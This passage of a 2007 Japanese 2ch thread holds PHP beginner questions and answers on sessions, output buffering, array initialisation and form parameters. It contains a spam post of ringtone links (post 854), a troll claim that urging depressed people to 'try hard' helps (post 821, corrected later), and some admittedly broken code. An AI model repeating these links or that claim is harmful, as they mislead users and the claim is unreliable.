721 :717:2007/06/05(火) 21:42:20 ID:EQxq7rXd
>>720
ローカル、レンサバ共にarray(0) { }でした

環境依存と言いますと、どこかに汎用性の無い関数でも使っていましたか?
session.cookie_path等は前述のように単にsession_startした場合は大丈夫でしたので問題は無いと思います。

722 :nobodyさん:2007/06/05(火) 22:09:27 ID:???
>>718
>アルゴリズムが難解すぎて…
ふむ、どの辺まで考えたの?
>巨大になると挙動がおかしくなるんです
まぁその理由はマニュアルに書いてあるけどね。


723 :nobodyさん:2007/06/05(火) 22:14:46 ID:???
>>721
iniなんたら多すぎ。
全部外して一つづ加えていって$_SESSION値を確かめろよ。

724 :nobodyさん:2007/06/05(火) 22:21:26 ID:???
>>721
ココだけ見ると COOKIEが無いときは永久に通らないという罠
一行づつデバグしろよ

あと、/hogehoge/のパーミッションエラーとかはマジ勘弁

725 :nobodyさん:2007/06/05(火) 22:23:44 ID:???
>>718
function bc_base_n2ten($num, $n) {
  $len = strlen($num);
  $result = ??
  for ($i=0; $i<$len; $i++) {
    $result = bcadd($result,
        bcmul(base_convert($num[$i], $n, 10), bcpow($n, $len - $i - 1)));
  }
  return $result;
}
function bc_base_ten2n($num, $n) {
  $len = strlen($num);
  $result = ??
  for ($i=0; $i<$len; $i++) {
    $surplus = bcmod($num, $n);
    $num = bcdiv(bcsub($num, $surplus), $n);
    $result .= base_convert($surplus, 10, $n);
  }
  return preg_replace("/^0+/", ??, strrev($result));
}
function bc_base_convert($num, $n, $m) {
  $num = bc_base_n2ten($num, $n);
  return bc_base_ten2n($num, $m);
}

PEAR探さばこういうのあるかもしれないけどシラネ
息抜きに作ってみたからちゃんと動作するかもシラネ

726 :nobodyさん:2007/06/05(火) 22:26:03 ID:???
なんか化けてるしorz
??は上から
'0'
''
''

727 :717 ◆.Ia5JkzwT6 :2007/06/05(火) 22:26:49 ID:EQxq7rXd
>>723-724
レス有り難う御座います
一行ずつ試してみたいと思います

パーミッションはミスってたらエラーメッセージが表示されますし、session_start()のみだと正常に動作するのでそれは無いと思います

早いですが、今日はもう寝るのでトリップつけておきます

728 :nobodyさん:2007/06/05(火) 22:41:18 ID:???
ねるのはやいw

729 :nobodyさん:2007/06/05(火) 22:58:16 ID:???
配列使う時
$hoge = array();
書かずにいきなり
$hoge[] = 'fuga';
って書くの行儀悪い?

730 :nobodyさん:2007/06/05(火) 23:03:17 ID:???
>>729
気分次第、でも VB(option explicit) C JAVA とかと一緒でクセで初めに宣言してる

731 :nobodyさん:2007/06/05(火) 23:05:58 ID:???
>>729
コーディング規約に従えばよろし
ないならフィーリングでおk

732 :nobodyさん:2007/06/05(火) 23:32:15 ID:???
>>729
書き方次第でどっちもつかう

733 :nobodyさん:2007/06/05(火) 23:35:20 ID:???
捨てコードじゃないなら、宣言しとくのが普通だろ。

734 :nobodyさん:2007/06/06(水) 00:11:14 ID:???
Cで宣言してから使うのに慣れている人は
他人のソースを見るときでもそれを前提に読むからな

どっちでもいいと思うよ
おれは宣言してから使うけど

735 :nobodyさん:2007/06/06(水) 00:23:36 ID:???
>>729
forとかifとかの中で
$hoge[] = 'fuga';
するなら、必ず
$hoge = array();
しておく。

736 :nobodyさん:2007/06/06(水) 00:27:49 ID:???
>>729
たぶんDBのFetchループあたりのことだと思うけど、
そういうのわざわざ変数名変えたりしないから
初期化してないってのは怖いね。

737 :nobodyさん:2007/06/06(水) 00:48:44 ID:???
初期化する必要がないほうが高級言語じゃないか?
別にPHPがそうとかいう話じゃなくて、プログラミング言語の発展としてさ。
いちいちプログラマの判断で変数宣言を書き込んで管理しなきゃならないなんて、前時代の遺産となるべきものじゃないかしら

738 :nobodyさん:2007/06/06(水) 00:52:31 ID:???
初期化コードが近くにないと、
新しく使うのか、どこかから結果を引き継いでいるのかが分からないから
可読性のために俺は書く

739 :nobodyさん:2007/06/06(水) 00:54:27 ID:???
$str = 'hoge';
echo $str[1]
---
o

こんな感じに、配列のように文字列から文字を切り出せるって
今日はじめて知ったんだがおまえら知ってましたか?
これ一般常識なの?

740 :nobodyさん:2007/06/06(水) 01:00:47 ID:???
>>739
つかマニュアルに普通に書いてあるし

741 :nobodyさん:2007/06/06(水) 01:21:46 ID:???
俺だけなのか…(゜◇゜)

742 :nobodyさん:2007/06/06(水) 01:28:32 ID:???
自分と他人の世界や知識や価値観は違うってことが理解できない人?

743 :nobodyさん:2007/06/06(水) 01:39:49 ID:???
>>739
しらなかった。
マニュアルのどこにかいてあったの?

744 :nobodyさん:2007/06/06(水) 01:40:29 ID:???
>>743
そんくらい自分で見ればいいだろ
ほんと人にやってもらわないと何にもできない人だな・・・

745 :nobodyさん:2007/06/06(水) 01:41:48 ID:???
>>739
なんじゃそれ!?
もしそれが本当なら、実は変数は全て配列型だってことか?

746 :nobodyさん:2007/06/06(水) 01:43:29 ID:???
ちょうど>>725でも使ってるな

747 :nobodyさん:2007/06/06(水) 01:43:45 ID:???
>>745
違うよ配列型が実は全て文字列型で構成されてるんだよ

748 :nobodyさん:2007/06/06(水) 01:44:10 ID:???
>>737
変数のスコープを自在にあやつれるほうが高級、というか混乱しなくて良い
んなわけで初期化というか変数宣言(Perlだとmyとかlocalとかな)がないと困るZE☆

749 :nobodyさん:2007/06/06(水) 01:45:46 ID:???
>>748
初期化の必要性と、変数スコープを自在にあやつれることは、別の問題だろ?

750 :nobodyさん:2007/06/06(水) 01:55:19 ID:???
http://jp.php.net/manual/ja/language.types.string.php#language.types.string.substr

751 :nobodyさん:2007/06/06(水) 01:58:00 ID:???
PHP+ImageMagickで、たまに画像アップロードができません。
アップロードできない画像は主にjpgです。
アップロードできるjpgもあります。
ファイルサイズも関係ないようです。
(ファイルサイズが大きめのjpgにもアップロードできるものがあった。逆に小さいjpgだができないものもあった)

昔も同じ症状に陥りましたがたしかphpの設定関係だった気がします。。
いったいどこが原因でしょうか?


752 :751:2007/06/06(水) 01:59:12 ID:b3J3b1x0
スマソage

753 :nobodyさん:2007/06/06(水) 02:00:53 ID:???
jpegとpjpegじゃね?

754 :nobodyさん:2007/06/06(水) 02:07:41 ID:???
>>749
スコープを決めるには変数宣言必要だし
変数宣言あるなら
my $hoge;
・・・
$hoge[] = 'fuga';
するなら
my $hoge = array();
・・・
$hoge[] = 'fuga';
のほうが "読みやすい" と思う。
だから俺は変数宣言は必須で初期化は任意でいいと思うけど
初期化してあるほうが「他の人が改修する時」とか。という感じだZE☆

phpの場合スコープいいかげんだから、初期化しといたほうが気配りさんじゃね
エディタの一画面で全部把握できるコードとかだったら俺も初期化とかしねーけどさ

755 :751:2007/06/06(水) 02:15:59 ID:b3J3b1x0
>>753
いえ、jpgです。
どうもPHPの設定じゃない気がしてきました。
うーん。

756 :nobodyさん:2007/06/06(水) 02:39:59 ID:3mye17O+
PHP4のクラススタティックメソッドから同じクラスのスタティックメソッドを呼ぶ場合

class Hello {
  function hello() {
  echo "Hello, ", Hello::bar();
  }
  function bar() {
  return "world.";
  }
}

Hello::bar(); のようにいちいちクラス名を書いているのですが、
これを省略することはできますか?

757 :nobodyさん:2007/06/06(水) 02:43:49 ID:0gT0vIE0
PHP4の構文について質問です。
あるオブジェクトを返してくるメソッドがfoo()があると仮定します。
その返されたオブジェクトがメソッドbar()を持っていたとき、
このメソッドbarを呼ぶには一度テンポラリ変数にオブジェクトを代入して、
改めてメソッドを適用しなくてはならないのでしょうか?

つまり、

 $tmp = foo();
 $tmp->bar();

と書くしかないのでしょうか。できれば

 foo()->bar();

のように一度に書きたいです。無理でしょうか。

758 :nobodyさん:2007/06/06(水) 02:50:53 ID:oqXEdx16
PHP4とPHP5の両方で使えるものを開発したいのですが、
PHP4用と、PHP5用を分けて2つ作るか、
ソースに差がある部分を条件文で分けて1つだけ作るか
どっちにするか迷っています。
速度面を重視するなら、条件文がないほうが早いと思うので前者がいいですか?
互換性を保つため、PHP4の書き方で1つだけ作るという方法もありますが、
速度面でPHP5から導入された関数なんかも使いたいので、
それは今回なしの方向でお願いします。

759 :751:2007/06/06(水) 02:52:21 ID:b3J3b1x0
どうもお騒がせしました。勘違いでした(^^)

760 :nobodyさん:2007/06/06(水) 03:15:49 ID:???
>>744
けちけちするなよ

761 :nobodyさん:2007/06/06(水) 03:17:31 ID:???
バージョンの違いを条件文でいちいちわける理由は?

762 :nobodyさん:2007/06/06(水) 03:23:36 ID:???
substrのsubって何の略?

763 :nobodyさん:2007/06/06(水) 03:35:50 ID:???
>>762
ttp://www2.alc.co.jp/ejr/index.php?word_in=substring&word_in2=reedeirrf&word_in3=zJPa7DCxJ15687987t

764 :nobodyさん:2007/06/06(水) 03:36:26 ID:???
if( !function_exists( 'hogehoge' ){
fucntion hogehoge()
{
}
}

ベタなのはこんなん?だけど複雑なのはめんどそう

765 :nobodyさん:2007/06/06(水) 03:42:04 ID:???
>>763
単語だったのか
びっくり( ・_・;)

766 :いつもの人 ◆3Htx6mDqZs :2007/06/06(水) 03:55:05 ID:???
>>758
速度言ってるが、ベンチすらしたことなだろ

>>757
foo()->bar(); 4だと使えない?
call_user_func(array(foo(),bar))とか

>>756
self

767 :いつもの人 ◆3Htx6mDqZs :2007/06/06(水) 03:57:26 ID:???
ごめん情緒不安定だったから許して

768 :nobodyさん:2007/06/06(水) 04:05:02 ID:???
何を?

769 :758:2007/06/06(水) 04:40:45 ID:oqXEdx16
>>761
DBを使う予定なのですが、
PHP4ではPDOが使えないので、分けようと思いました。
PDOは速度面キャッシュ効率などパフォーマンスに優れているので、
PHP5ではそちらを使いたいなぁと。
4でも5でも使えるPEARはパフォーマンスは悪いですし、
標準DB関数でもいいのですが、めんどくさくて・・・

>>766
ベンチはとってないです。というのもまだ着手してないので。
結構大きいものになる予定なので、
簡単なものを作って比較するのでは誤差も微妙で参考にならないと思い質問しました。

770 :nobodyさん:2007/06/06(水) 05:03:22 ID:???
>>769
PDOは確かにね
DBの条件分岐だけならほんの少しで済むだろうし
別に作る必要は無いと思われ

条件文自体は何個あろうが変わらん(誤差以下

771 :758:2007/06/06(水) 05:14:44 ID:oqXEdx16
>>770
心強いアドバイスありがとうございます。
では該当部分は1ファイルにまとめて作りたいと思います。
早朝からわざわざありがとうございました。

772 :nobodyさん:2007/06/06(水) 08:29:01 ID:???
pdoのあるなしだったらファクトリメソッドのパターンでも使ってみれば

773 :nobodyさん:2007/06/06(水) 10:25:01 ID:jwkhTokv
簡単なアバターチャットを作ってみたいのですが
どこか、初心者でもわかりやすい
解説サイトありますか??
お願いします。

774 :nobodyさん:2007/06/06(水) 10:26:32 ID:jwkhTokv
>>773
書き込む場所間違えた。
さーせん

775 :nobodyさん:2007/06/06(水) 10:50:10 ID:xvgl2fqU
>>747
それは違うのではないでしょうか。
正しくは 「文字列型が実は全て配列型で構成されてる」 で、
簡単に言うと 「文字列は文字の配列」 ですよね?

776 :nobodyさん:2007/06/06(水) 11:18:36 ID:???
文字が配列としてとりだせるってバグじゃないのかw

777 :nobodyさん:2007/06/06(水) 11:22:52 ID:???
知らなかった。PHP使ってないけど。

$hoge = "PHP-kuso";
$hoge[3] = "\0";
print $hoge;

こうしたらどう表示されるの?

778 :nobodyさん:2007/06/06(水) 11:23:49 ID:???
ためしてみてからきいてんの?

779 :nobodyさん:2007/06/06(水) 11:49:24 ID:KZlHfOQY
最近、エディタを開いただけでやる気を喪失して、疲労感を覚えます
これは何という名前の虚弱生でしょうか?対処方法はありますか?

780 :nobodyさん:2007/06/06(水) 11:54:03 ID:???
>>776
バグじゃないよ
マニュアルにもちゃんと書いてある仕様だよ

781 :nobodyさん:2007/06/06(水) 11:56:53 ID:???
>>779
おれも、最近はオンラインゲームにどっぷりつかってプログラミングから遠ざかってる

782 :nobodyさん:2007/06/06(水) 12:18:54 ID:???
>>779
糖尿病

>>781
俺もオンラインゲームにどっぷり
やっぱパソコン持っててオンラインゲームやってないやつってクズだよな


783 :nobodyさん:2007/06/06(水) 12:20:20 ID:???
>>779
それはバグです
マニュアルにもちゃんと書いてある仕様だよ

784 :nobodyさん:2007/06/06(水) 14:04:24 ID:???
>>779
俺なんてエディタのアイコンをダブルクリックする気力すら湧かないぜ!

785 :nobodyさん:2007/06/06(水) 14:06:18 ID:???
だれか雑談スレつくって

786 :nobodyさん:2007/06/06(水) 15:13:12 ID:y4bZ9a73
http://sv2ch.baila6.jp/chk_route.cgi?host=pc11.2ch.net
このプログラムなんですが、
ソースを見た限りではJavaScriptは使われていませんよね?
こういう、順番に取得した結果をリアルタイムに表示ようなものは、
PHPだけで出来ますか?
全て終わるまで応答が何秒も返って来ないプログラムの場合有効そうですよね?

787 :nobodyさん:2007/06/06(水) 15:18:59 ID:???
キャッシュ切ってるだけです

788 :nobodyさん:2007/06/06(水) 15:52:07 ID:???
>>785
いちおうあるよ。あまり使われてないけど。

【総合】 Webprog板質問雑談スレッド 1
http://pc11.2ch.net/test/read.cgi/php/1131016915/

789 :nobodyさん:2007/06/06(水) 15:52:36 ID:???
>>786
<?php
echo "Hello\n";
ob_flush();
flush();
sleep(2);
echo "World\n";
?>


790 :nobodyさん:2007/06/06(水) 16:02:55 ID:???
>>789
>>786じゃないが、普通に表示されたぞ

791 :790:2007/06/06(水) 16:06:47 ID:???
すまん、更新したらちゃんと2秒後に出てきたわ

function fluch_echo($str,$sleep=0){

ob_flush();
flush();
sleep($sleep);

echo $str;

}

fluch_echo ("Hello\n",2);
fluch_echo ("World\n",2);

こんなの作ってみたんだがどうだろ

792 :nobodyさん:2007/06/06(水) 16:11:53 ID:y4bZ9a73
>>789-791
どうもありがとうございます。
こんな面白い関数があったのですねー
早速これをつかって色々遊んでみます。

793 :nobodyさん:2007/06/06(水) 17:04:22 ID:???
>>792
ちなみに<table>タグ使ってるとでない。
これはブラウザの仕様。
閉じた段階で表示される。

794 :nobodyさん:2007/06/06(水) 17:11:50 ID:???
>>793
じゃあ
ob_flush();
flush();
これは、ブラウザ側で処理しろって命令するってこと?

795 :nobodyさん:2007/06/06(水) 17:27:09 ID:???
>>794
出力はいろいろなところでバッファリングされる
ob_flush( ) でPHPのバッファをApacheにフラッシュ
flush( ) でApache内のバッファをブラウザへ出力
<table>があると</table>が来るまでブラウザ内にバッファされて表示されない

796 :nobodyさん:2007/06/06(水) 17:38:59 ID:???
>>795
サンクス
バッファについてはサッパリなのでちと勉強してきますわ

797 :nobodyさん:2007/06/06(水) 17:41:31 ID:???
>>790
IEかな
IEは256バイト以下の出力はブラウザにバッファされるからHelloの前にダミーの文字を256文字出力しておけばいい
<?php
echo str_repeat("A", 256);
echo "<br>\n";
echo "Hello\n";
ob_flush();
flush();
sleep(2);
echo "World\n";
?>


798 :nobodyさん:2007/06/06(水) 17:43:37 ID:sQx6t4Ws
比較演算子ってどっち使ってます?ANDとORそれぞれ。
|| か or か、 &&か and か。

799 :nobodyさん:2007/06/06(水) 17:46:16 ID:???
条件式の変数が長い単語のときは読みにくいから || かなぁ
短かったり関数だったりする場合はorとかORとか書くかな


800 :nobodyさん:2007/06/06(水) 17:53:16 ID:???
カタカナ多すぎてわからないが

>>ob_flush( ) でPHPのバッファをApacheにフラッシュ
これ以降の出力をメモリに格納

>>flush( ) でApache内のバッファをブラウザへ出力
今まで溜めたものを射精して、通常処理でFA?

あとネストってなにがネストってるんだ…

801 :nobodyさん:2007/06/06(水) 18:03:39 ID:???
>>798
標準的には&&と||でしょ。

802 :nobodyさん:2007/06/06(水) 18:22:16 ID:???
>>798
つかそれは論理演算子…。
優先順位が違うから基本的に&&||だね。
or exit()くらいにしか使わんなぁ。or exit()自体もほぼ使わないけど。

803 :nobodyさん:2007/06/06(水) 18:27:10 ID:sQx6t4Ws
>>801
なんでですか?orはだめなの?

804 :nobodyさん:2007/06/06(水) 18:34:02 ID:2+2ZUG2D
縁があって、自宅に方向幕と方向幕専用の装置(?)があるのですが、
この方向幕が何の電車(○○○系)に使われていたのか、知りたいです。

方向幕の装置は手で動かすハンドルが付いており、
電動式ではないようなので、かなりの年代物のようです。
印刷されているコマの駅は、山口県の一部(宇部・宇部新川・下関・厚東など)と、
日豊線の門司港〜大分間、鹿児島線の門司港〜川尻間、あと長崎線です。
幕の痛み具合から日豊線で使用されていた物のようなのですが、
それ以上のことは分かりません。
『急行』と書かれたコマがあるものの、多分普通電車の方向幕だと思います。
また、小郡が『新山口』となっていないので、やはり年代物でしょうか。

どなたかお詳しい方いらっしゃったら、どうぞ宜しくお願いします。

805 :nobodyさん:2007/06/06(水) 18:39:57 ID:???
>>804
E723系ではないでしょうか?

806 :717 ◆.Ia5JkzwT6 :2007/06/06(水) 18:50:43 ID:???
>>717です
一行ずつ検査して行った所、どうやらセッションの中身が空なのかどうかを判別せずに$sestmpで移していたのが不味かったようです。

session_start();
$sestmp=$_SESSION;
session_destroy();
session_id(md5(uniqid(rand(),true)));
session_start();
$_SESSION=$sestmp;



session_start();
if(isset($_SESSION["hoge"])){
$sestmp=($_SESSION["hoge"]);
}
session_destroy();
session_id(md5(uniqid(rand(),true)));
session_start();
if(isset($sestmp)){
$_SESSION["hoge"]=($sestmp);
}
に書き換えたところ上手く動作するようになりました。
なぜこんな所で動作の違いが生じたのかは解りませんが、とりあえず動作するようになったので報告させて頂きます。
有り難う御座いました。

807 :779:2007/06/06(水) 18:54:27 ID:???
みなさんのご教授も虚しく、今日のテストに間に合いませんでした
レスくれたみなさん、本当にありがとうございます
明日からは首にならないように皆さんの意見を取り入れ、こっそりオンラインゲームしようと思います

808 :nobodyさん:2007/06/06(水) 18:59:51 ID:???
これはいい現代人ですね

809 :nobodyさん:2007/06/06(水) 20:17:55 ID:???
>>779
欝じゃね、精神科いってこい。
いやマジな話、この業界多いから。

810 :nobodyさん:2007/06/06(水) 20:21:07 ID:???
ただニートになりたいだけちゃうんかと。

811 :nobodyさん:2007/06/06(水) 20:25:39 ID:???
趣味でPHPやってますが、今は立派なニートです

812 :nobodyさん:2007/06/06(水) 20:30:57 ID:???
>>806
上手くいくも、めちゃくちゃだろそれ。

813 :nobodyさん:2007/06/06(水) 20:31:27 ID:???
>>809
今かなり大きな仕事やってまして、主任を任されています
これさえ終われば・・・と思ってはいるのですが、このままでは本当に鬱病になりそうです
明日こそは頑張ってオンラインゲームじゃなかった仕事します

814 :nobodyさん:2007/06/06(水) 20:34:41 ID:???
>>806
>session_id(md5(uniqid(rand(),true)));

なんでわざわざ、自前でこんな事やってんの?
PHPが発行してくれるセッションIDは十分に信頼できるランダム性を持ってるぞ。

815 :nobodyさん:2007/06/06(水) 20:36:40 ID:???
>>811
よお同士。"そのうち"頑張ってPHPの仕事見つけような!

816 :nobodyさん:2007/06/06(水) 20:44:24 ID:???
>>813
欝は表に症状が出たら手遅れだから
早めに病院いったほうがいいよ

> 明日こそは頑張って(略
典型的に欝になりやすいタイプだな……無理して2ヶ月休職とかなる前に手をうっとけ
あと がんばるな

817 :nobodyさん:2007/06/06(水) 20:44:33 ID:???
rand()なんて使ってる童貞まだいたんだ

818 :nobodyさん:2007/06/06(水) 20:46:40 ID:???
>>806
session.entropy_file = /dev/urandom
session.entropy_length = 32

これで十分

819 :nobodyさん:2007/06/06(水) 20:51:32 ID:???
>>806は何がしたいのかまったくわからん
どうしたらこんなコピペみたいなソースが書けるんだ?

820 :nobodyさん:2007/06/06(水) 21:05:13 ID:???
鬱やら情緒不安定てw
おまいらガンガレ!ガンガレ!超ガンガレ!

「頑張れ」って鬱には逆効果なんだっけ

821 :nobodyさん:2007/06/06(水) 21:45:54 ID:???
>>820
頑張れ、は確か痴呆症の人に言ってはいけない言葉だったと思う。
鬱の人には、頑張れ、といってあげると気分が楽になると思うよ。

822 :nobodyさん:2007/06/06(水) 22:27:06 ID:???
>>821
どういう釣りだよw
ワロタwww

823 :nobodyさん:2007/06/06(水) 23:25:06 ID:???
>>820-821
生真面目な人はうつになりやすいので
頑張れ、とかいうとホントに頑張っちゃって病状悪化するので言っちゃだめ
と、マジレス

824 :nobodyさん:2007/06/06(水) 23:40:10 ID:???
散々本とかに逆効果とか書いてるし、医者にも言われるだろうし、
鬱の人間にもそれは分かってるはず。
言われても相手に悪気がないのも分かるし、
言われても気にしなければいいと言うことが分かっているのに、
なぜか病状悪化するんだよな。
確かに>>823の言うとおり生真面目すぎるんだろうな。

825 :717 ◆.Ia5JkzwT6 :2007/06/06(水) 23:43:50 ID:RCcsVPbu
>>812
めちゃめちゃですか?もうちょっと具体的にお願いします。
ちなみに最後から二行目の括弧はミスです。

>>814
特に根拠は無いのですが、なんとなく少しIDが短かいようで不安になったので、idを長くするためだけにやっています

>>817
マニュアルのコピペです

>>818
良く意味が解らないので保留にしておきます
と言うかそれ、窓だと動かないのでは?

>>819
ほとんどsession_regenerate_idが古いファイルを消してくれなかった頃に書かれた物のコピペですが、そんなに変でしたか?
やりたいことは毎回session_regenerate_id(true)と同等の動作をさせたいだけですが、前述の理由で長ったらしいコードになっています。

826 :nobodyさん:2007/06/06(水) 23:44:04 ID:???
症状悪化して最終的に楽になるってことだろ。





って書くとむきになってマジレスしてくる奴とかは鬱になりやすいので
にちゃんなんだからとさらっとスルーできるようにしましょう。

827 :nobodyさん:2007/06/07(木) 02:01:20 ID:???
rand(1,2)

これで明日の運勢を決めてる

828 :nobodyさん:2007/06/07(木) 02:33:49 ID:???
     ∧_∧    <今日はがんばらないことにしたんだ
    ( ´・ω・`)     ∧_∧
    /     \   (    )うんうん、それがいいよね
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ 賛成だね     \|   (    )
  |     ヽ           \/     ヽ. ぼくもそうするよ〜、だってそれがよさげだもん
  |    |ヽ、二⌒)        / .|   | |

829 :nobodyさん:2007/06/07(木) 03:01:48 ID:???
甘えは捨てろ。さもないと、お前を射殺する。

830 :nobodyさん:2007/06/07(木) 03:06:20 ID:???
犯罪予告キタ━━━━(゚∀゚)━━━━ッ!!

831 :nobodyさん:2007/06/07(木) 09:31:41 ID:???
すみません 凄く基本的な質問ですが
実際にはLinuxのサーバで動かすプログラムをwinでコーディングするって
問題ありますか?
もちろんphpやSQLのバージョンは同じという前提ですが…

832 :nobodyさん:2007/06/07(木) 09:43:29 ID:???
>>831
難しいことしないにしても、マニュアルのファイル操作系関数はよく見ておいたほうがいい。
あとファイル名規則はLinuxにあわせること。大文字小文字にも注意して。


833 :nobodyさん:2007/06/07(木) 09:56:54 ID:???
>>829
Gメン75乙

834 :nobodyさん:2007/06/07(木) 10:08:56 ID:???
>>831
コーディング自体は何使っても問題無いが、
途中の動作テストをwindows上でやるのはあまりお勧めできない。実機がなければ、VirtualPCとかを使えばマシか。

文字コード改行コードの違い、マルチバイトの正規表現、CLI まわりは特に注意する。

835 :nobodyさん:2007/06/07(木) 10:13:30 ID:???
>>825
>めちゃめちゃですか?もうちょっと具体的にお願いします。

>なぜこんな所で動作の違いが生じたのかは解りませんが
って書いてるんだから、変更に意味があると思ってないでしょう?あなたも。

そもそも元質問>>717の駄目原因、
>session_start();session_regenerate_id(true);では駄目でした。
session_regenerate_id(true);がソースのどこにあるのよ。

836 :虚弱PHP:2007/06/07(木) 11:32:02 ID:???
>>825
ID被り&推測可能かが心配なら自前でMD5にするより
session.hash_function = 1
でSHA1にしたらいいんじゃあるまいか。

837 :nobodyさん:2007/06/07(木) 12:07:42 ID:???
ソース見るとversion 5使っている奴だと思えないけどね。

838 :717 ◆.Ia5JkzwT6 :2007/06/07(木) 18:40:54 ID:5RXDLZBj
>>835
>って書いてるんだから、変更に意味があると思ってないでしょう?あなたも。
確かにそうです。
変数の扱い方でも変わったのかな?と思いましたが、公式にも書いて無いですし、例えそうだとしてもエラーメッセージぐらい出てもいいものだ、とお手上げ状態です。

>session_regenerate_id(true);がソースのどこにあるのよ。
後半の処理をsession_start();session_regenerate_id(true);に置き換えても駄目だったと言う事です。

>>836
その設定項目は知っていましたが、パッと見でidの長さが自前で指定したときよりも短かったのでスルーしていました。
しかし、よく見てみるとハッシュ値は16進数なのに対し、PHPが吐くセッションIDはアルファベットを全て使っているようですね。

PHPが自動で吐くIDも、自前で指定したハッシュ値も安全性に大差無い事が解りましたので、このように変えてみました。

〜行数制限に掛かるのでini_set省略〜
ini_set("session.hash_function",1);

session_start();
//セッションが空の状態でregenerate_idするのを防ぐ
if(isset($_SESSION["hogehogehoge"])){
  session_regenerate_id(true);
}
else{
  $_SESSION["hogehogehoge"]=1;
}

このように変えてみました。
杞憂と早とちりで無駄にスレを消費してしまい、申し訳ありませんでした。
結局、何故テスト環境では空のセッションをregenerateしても大丈夫なのか解らずじまいですが、当面はこれで問題も出なさそうですし、解決したと言う事にして置きます。
アドバイスくれた方々有り難う御座いました。

839 :nobodyさん:2007/06/07(木) 21:06:49 ID:4r7P9twq
一昨日から友達に頼まれて、PHPで携帯サイトを作っております。
PHPの作成は今回が初めてです。
昨日まで順調に進んでいたのに、あるところで詰まってしまい、現在困っているので、是非アドバイスお願いいたします。

例として・・・。
1ページ目に「A」を選択し
2ページ目に「b」を選択、
3ページ目に「任意の日付を選択」を選択し、プルダウン方式(××年××月××日 ←バツをプルダウン式))で日付を選びます。
4ぺージ目には「A-b-20070607.jpg」という感じに組み合わせた画像を表示したいです。
(組み合わせた画像はすでに友人が作成してあります)

とりあえず、3ページ目の「今日」で「A-b-20070607.jpg」と表示できるのですが、
「任意の日付を選択」では、その3ページ目のデーターしか値を渡すことができません。「--20070607.jpg」となってしまいます。

作り方は・・・
1ページ目
 <a href="page2.php?q1=A">A</a>

2ページ目(page2.php)
<?php
 echo "<a href=\"page3.php\"?q1=".$_GET['q1']."&q2=a>a</a>";
?>

3ページ目(今日)
<?php
echo "<a href=page4.php?q1=".$_GET['q1']."&q2=".$_GET['q2']."&q4=" $now_date = date("Ymd").">1:今日<br></a>";
?>

3ページ目の「任意の日付を選択」の作り方を教えてください・・・。
よろしくお願いします。。。

840 :839:2007/06/07(木) 21:14:18 ID:4r7P9twq
途中までなんですが、
任意の書き方としては・・・

//GETフォーム
echo("
<form action=\"testf_3.php=".$_GET['q1']."&q2=".$_GET['q2']."\" method=\"GET\">
<select name=\"year\" >
<option value=\"2006\">2006</option>
<option value=\"2007\">2007</option>
</select>

<br>
<select name=\"month\" >
<option value=\"01\">01</option>
<option value=\"02\">02</option>
               ・
<option value=\"11\">11</option>
<option value=\"12\">12</option>
</select>

<br>
<select name=\"day\" >
<option value=\"01\">01</option>
<option value=\"02\">02</option>
               ・
</select>

<br>
<input type=submit value=確定 >
</form>
");

841 :nobodyさん:2007/06/07(木) 21:16:03 ID:???
>>839
form使えば?

842 :nobodyさん:2007/06/07(木) 21:18:19 ID:???
>>840
hidden使えば?

843 :nobodyさん:2007/06/07(木) 21:34:48 ID:4r7P9twq
>>841
form使用してるんだけど無理なんです。

>>842
hiddenかぁ、ちょっと調べてきます。
略している部分があるけど、書き方はこれであってる?

844 :nobodyさん:2007/06/07(木) 21:40:55 ID:???
聞く立場でずいぶんな口調なやつがいるな。

845 :nobodyさん:2007/06/07(木) 21:43:55 ID:???
>>843
任意の日付の選択の作り方なのかHTMLフォームの文法チェックしてほしいのか
はっきりしろよ。
何がわからなくて何を教えてほしいのかはっきりしない質問はクズ質問だ

846 :nobodyさん:2007/06/07(木) 21:50:18 ID:???
>>844
ハァ?早く四つんばいになれよ

847 :nobodyさん:2007/06/07(木) 21:54:01 ID:4r7P9twq
>>845
任意の日付の作り方を教えてほしいです

848 :nobodyさん:2007/06/07(木) 21:55:51 ID:???
>>847
ふむ、それでそのフォームでどう駄目だったわけ?

849 :nobodyさん:2007/06/07(木) 22:01:56 ID:???
>>848

>>840の記述をして、
次のページに移動しても
$_GET['q1']と.$_GET['q2'].の値を受け取ることができません。

<form action=\"testf_3.php=".$_GET['q1']."&q2=".$_GET['q2']."\" method=\"GET\">

この文法であっているのでしょうか?





850 :nobodyさん:2007/06/07(木) 22:05:00 ID:???
つかそれじゃ表示もされないんじゃないの?

851 :nobodyさん:2007/06/07(木) 22:05:40 ID:???
>testf_3.php=".$_GET['q1']."
間違ってるに決まってるだろ。
>>839
>PHPの作成は今回が初めてです。
他のプログラム言語でも作ったことが無いんだろ。
素直に言えばいいのに

852 :nobodyさん:2007/06/07(木) 22:10:33 ID:???
>>840

<form action=\"page3.php="..$_GET['q1']."&q2="..$_GET['q2']."\" method=\"GET\">

日付のデータは受け取れて表示されています。
ほかのデータはまったく表示されていません。



853 :nobodyさん:2007/06/07(木) 22:13:03 ID:zFLdGIyc
今、オブジェクト指向の勉強に入ったんですが(PHPで)、インターフェイスがよくわかりません。

色々しらべたところ、Javaの本には「インターフェイスで多重継承を実現する」とか書いてあるものがありまして、
しかし、中身は、インターフェイスはメソッドの中身は定義されていなくて、いちいち使用するクラスのほうで
中身を書かなくてはなりません。多重継承できるなら、継承したすべてのクラスのメソッドが使用できると解釈してしまうのですが。。
継承したメソッドを使用できなくては、「多重継承を実現する」という日本語を使うのはおかしいとおもうのですが・・
せめて、「多重継承の真似事ができる」くらいにしか表現できないとおもうのですが・・

初心者のうちはあまり深く考えずに、どんどんソース書いた方がいいですか?あまり気にしないほうがいいですか?

Javaのほうで質問しようとおもいましたが、私はJavaはよくわからないので・・


854 :LwHXvdhAI:2007/06/07(木) 22:15:59 ID:???
<a href="http://p1ring.xshorturl.org/1/free-ringtones.html">free ringtones</a>
<a href="http://p1ring.xshorturl.org/1/download-free-ringtones.html">download free ringtones</a>
<a href="http://p1ring.xshorturl.org/1/cingular-ringtones.html">cingular ringtones</a>

855 :nobodyさん:2007/06/07(木) 22:22:27 ID:???
↑こういうのを無言で張るやつって、なに考えてるんだろうな

856 :nobodyさん:2007/06/07(木) 22:25:27 ID:???
>>853
10行中に生齧りで自分が書いてても判ってない言葉が一杯あるのがよくわかるから
